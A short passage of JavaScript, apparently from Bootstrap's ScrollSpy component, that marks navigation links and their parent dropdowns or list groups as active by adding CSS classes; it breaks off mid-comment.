link.closest(SELECTOR_DROPDOWN))\n .classList.add(CLASS_NAME_ACTIVE)\n\n link.classList.add(CLASS_NAME_ACTIVE)\n } else {\n // Set triggered link as active\n link.classList.add(CLASS_NAME_ACTIVE)\n\n SelectorEngine.parents(link, SELECTOR_NAV_LIST_GROUP)\n .forEach(listGroup => {\n // Set triggered links parents as active\n // With both